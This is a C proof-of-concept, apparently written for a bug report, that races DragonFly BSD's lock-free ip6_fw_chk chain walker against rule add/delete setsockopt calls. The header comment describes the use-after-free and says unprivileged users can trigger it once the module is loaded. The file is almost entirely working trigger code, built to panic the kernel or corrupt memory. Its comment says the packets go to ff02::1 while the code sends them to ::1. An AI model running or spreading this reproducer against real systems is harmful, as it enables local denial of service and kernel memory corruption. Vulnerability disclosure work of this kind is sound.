DF-0513 / df0513.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | /* * DF-0513 — Race ip6_fw_chk (lock-free chain walker) against chain mutation. * * Bug: ip6_fw_chain is a global singly-linked list walked LOCK-FREE by * ip6_fw_chk() on every IPv6 packet. Mutators (add/del/flush/zero/GET) * only take crit_enter()/crit_exit(), which masks interrupts on the * CURRENT CPU but does not serialize against other CPUs running * ip6_fw_chk. del_entry6 (ip6_fw.c:912-916) and FLUSH (:1130-1134) * call kfree(rule) AFTER crit_exit -> a concurrent chk on another CPU * can deref the freed rule -> UAF. * * Method (unprivileged; only the one-time ip6fw module load is root): * - Thread A: open AF_INET6 SOCK_DGRAM, send packets to ff02::1 to * drive ip6_output -> ip6_fw_chk. * - Thread B: open AF_INET6 SOCK_DGRAM, setsockopt(IPV6_FW_ADD) then * setsockopt(IPV6_FW_DEL) in a tight loop. * - Within seconds, on a multi-CPU box, the chk walker races ahead of * the deleter and either panics (INVARIANTS slab-poison trap on the * freed rule) or silently corrupts memory. * * Build: cc -O2 -lpthread -o df0513 df0513.c * Run: ./df0513 [<seconds>] * * Precondition: `kldload ip6fw` (one-time, root). After that, any * unprivileged user can run this — there is NO privilege check on the * IPV6_FW_* socket options (a separate latent issue, but means the * race is fully exercisable by an unpriv user once the module is * loaded). */ #define _KERNEL #include <sys/types.h> #undef _KERNEL #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <time.h> /* Mirror sys/netinet6/in6.h socket option opcodes (the kernel export). */ #define _DF0513_IPV6_FW_ADD 30 #define _DF0513_IPV6_FW_DEL 31 #define _DF0513_IPV6_FW_FLUSH 32 /* Mirror sys/net/ip6fw/ip6_fw.h flag bits. */ #define FW_F_IN 0x0001 #define FW_F_ACCEPT 0x0020 /* sizeof(struct ip6_fw) on DragonFly 6.5-DEV x86_64 = 200 bytes. * The union ip6_fw_if contains a `char name[16] + short glob` (=18 * bytes) member, so the struct is 200 not 192. Verified against * kernel printf "ip6_fw_ctl: len=X, want 200". */ #define IP6_FW_SZ 200 /* Offsets within struct ip6_fw (computed from the struct layout). */ #define OFF_FW_NUMBER 80 #define OFF_FW_FLG 82 #define OFF_FW_PROT 190 static volatile int stop = 0; static void build_rule(unsigned char *buf, uint16_t num) { memset(buf, 0, IP6_FW_SZ); uint16_t flg = FW_F_IN | FW_F_ACCEPT; memcpy(buf + OFF_FW_NUMBER, &num, 2); memcpy(buf + OFF_FW_FLG, &flg, 2); /* fw_prot = 59 -> IPPROTO_NONE, benign (no real traffic uses it), * passes check_ip6fw_struct() which only rejects TCP/UDP+ports * combos. fw_pts/nports all zero -> wildcard match. */ buf[OFF_FW_PROT] = 59; /* IPPROTO_NONE */ } /* Thread A: flood IPv6 packets to drive ip6_fw_chk */ static void *sender(void *arg) { (void)arg; int s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("sender socket"); return NULL; } struct sockaddr_in6 dst; memset(&dst, 0, sizeof dst); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, "::1", &dst.sin6_addr); /* loopback */ dst.sin6_port = htons(9999); char buf[16]; memset(buf, 'A', sizeof buf); long n = 0, err = 0; while (!stop) { if (sendto(s, buf, sizeof buf, 0, (struct sockaddr*)&dst, sizeof dst) > 0) n++; else err++; } fprintf(stderr, "[sender] sent %ld pkts, errors %ld\n", n, err); close(s); return NULL; } /* Thread B: mutate the rule chain via setsockopt */ static void *mutator(void *arg) { (void)arg; int s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("mutator socket"); return NULL; } unsigned char rulebuf[IP6_FW_SZ]; long add = 0, del = 0, err = 0; int iter = 0; while (!stop) { uint16_t num = 500 + (iter % 100); build_rule(rulebuf, num); if (setsockopt(s, IPPROTO_IPV6, _DF0513_IPV6_FW_ADD, rulebuf, sizeof rulebuf) == 0) add++; else err++; if (setsockopt(s, IPPROTO_IPV6, _DF0513_IPV6_FW_DEL, rulebuf, sizeof rulebuf) == 0) del++; else err++; iter++; } fprintf(stderr, "[mutator] add=%ld del=%ld err=%ld (iters %d)\n", add, del, err, iter); close(s); return NULL; } int main(int argc, char **argv) { int secs = argc > 1 ? atoi(argv[1]) : 10; pthread_t ta, tb; fprintf(stderr, "DF-0513: racing ip6_fw_chk against chain mutation " "for %ds (needs ip6fw module loaded)\n", secs); pthread_create(&ta, NULL, sender, NULL); pthread_create(&tb, NULL, mutator, NULL); sleep(secs); stop = 1; pthread_join(ta, NULL); pthread_join(tb, NULL); fprintf(stderr, "DF-0513: done. If the kernel panicked during the " "race window (check serial console / dmesg), the lock-free " "chain walk + kfree-after-crit_exit UAF is reproduced.\n"); return 0; } |